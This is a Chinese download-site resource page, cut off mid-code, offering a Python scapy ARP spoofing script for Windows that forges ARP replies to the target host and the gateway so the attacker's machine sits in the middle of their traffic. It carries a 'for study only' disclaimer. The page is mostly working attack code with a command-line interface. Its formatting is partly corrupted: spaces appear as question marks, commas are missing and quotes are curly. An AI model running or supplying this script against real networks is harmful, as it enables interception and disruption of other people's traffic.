資源簡(jiǎn)介
利用python寫的一個(gè)基于windows系統(tǒng)的ARP攻擊腳本,可進(jìn)行范圍攻擊,僅供參考學(xué)習(xí),請(qǐng)勿用于非法用途。
代碼片段和文件信息
#作者:Remix
#僅供參考學(xué)習(xí),請(qǐng)勿用于非法用途。
import?argparse
import?threading
import?time
from?scapy.all?import?ARP?Ether?get_if_hwaddr?sendp
from?scapy.layers.l2?import?getmacbyip
#從命令行直接讀取參數(shù)
#多線程
#和時(shí)間相關(guān)的模塊
#?Ether用來構(gòu)建以太網(wǎng)數(shù)據(jù)包
#?ARP是構(gòu)建ARP數(shù)據(jù)包的類
#?sendp方法在第二層發(fā)送數(shù)據(jù)包
#?getmacbyip方法用于通過ip獲取mac地址
#?get_if_hwaddr方法獲取指定網(wǎng)卡的mac地址
def?get_mac(tgt_ip):
????‘‘‘
????調(diào)用scapy的getmacbyip函數(shù),獲取攻擊目標(biāo)IP的MAC地址。
????‘‘‘
????tgt_mac?=?getmacbyip(tgt_ip)
????if?tgt_mac?is?not?None:
????????return?tgt_mac
????else:
????????print(“無法獲取IP為:%s?主機(jī)的MAC地址,請(qǐng)檢查目標(biāo)IP是否存活“?%?tgt_ip)
def?create_arp_station(src_mac?tgt_mac?gateway_ip?tgt_ip):
????‘‘‘
????生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)
????src_mac:本機(jī)的MAC地址,充當(dāng)中間人
????tgt_mac:目標(biāo)計(jì)算機(jī)的MAC
????gateway_ip:網(wǎng)關(guān)的IP,將發(fā)往網(wǎng)關(guān)的數(shù)據(jù)指向本機(jī)(中間人),形成ARP攻擊
????tgt_ip:目標(biāo)計(jì)算機(jī)的IP
????op=is-at表示ARP響應(yīng)
????‘‘‘
????eth?=?Ether(src=src_mac?dst=tgt_mac)
????arp?=?ARP(hwsrc=src_mac?psrc=gateway_ip?hwdst=tgt_mac?pdst=tgt_ip?op=“is-at“)
????pkt?=?eth?/?arp
????return?pkt
def?create_arp_gateway(src_mac?gateway_mac?tgt_ip?gateway_ip):
????‘‘‘
????生成ARP數(shù)據(jù)包,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)
????src_mac:本機(jī)的MAC地址,充當(dāng)中間人
????gateway_mac:網(wǎng)關(guān)的MAC
????tgt_ip:目標(biāo)計(jì)算機(jī)的IP,將網(wǎng)關(guān)發(fā)往目標(biāo)計(jì)算機(jī)的數(shù)據(jù)指向本機(jī)(中間人),形成ARP攻擊
????gateway_ip:網(wǎng)關(guān)的IP
????op=is-at表示ARP響應(yīng)
????‘‘‘
????eth?=?Ether(src=src_mac?dst=gateway_mac)
????arp?=?ARP(hwsrc=src_mac?psrc=tgt_ip?hwdst=gateway_mac?pdst=gateway_ip?op=“is-at“)
????pkt?=?eth?/?arp
????return?pkt
def?main():
????“““
????主方法
????“““
????#-t?目標(biāo)?-g?網(wǎng)關(guān)
????description?=?“ARP攻擊腳本“
????parser?=?argparse.ArgumentParser(description=description)?#使用argparse的第一步就是創(chuàng)建一個(gè)解析器對(duì)象,并告訴它將會(huì)有些什么參數(shù)。那么當(dāng)你的程序運(yùn)行時(shí),該解析器就可以用于處理命令行參數(shù)。
????#?解析器類是?ArgumentParser?。構(gòu)造方法接收幾個(gè)參數(shù)來設(shè)置用于程序幫助文本的描述信息以及其他全局的行為或設(shè)置。
????parser.add_argument(‘-sm‘?dest=‘srcmac‘?type=str?help=‘發(fā)送源計(jì)算機(jī)的MAC,如果不提供,默認(rèn)將采用本機(jī)的MAC地址‘)
????parser.add_argument(‘-t‘?dest=‘targetip‘?type=str?help=‘指定目標(biāo)計(jì)算機(jī)IP‘?required=True)
????parser.add_argument(‘-tm‘?dest=‘targetmac‘
評(píng)論
共有 條評(píng)論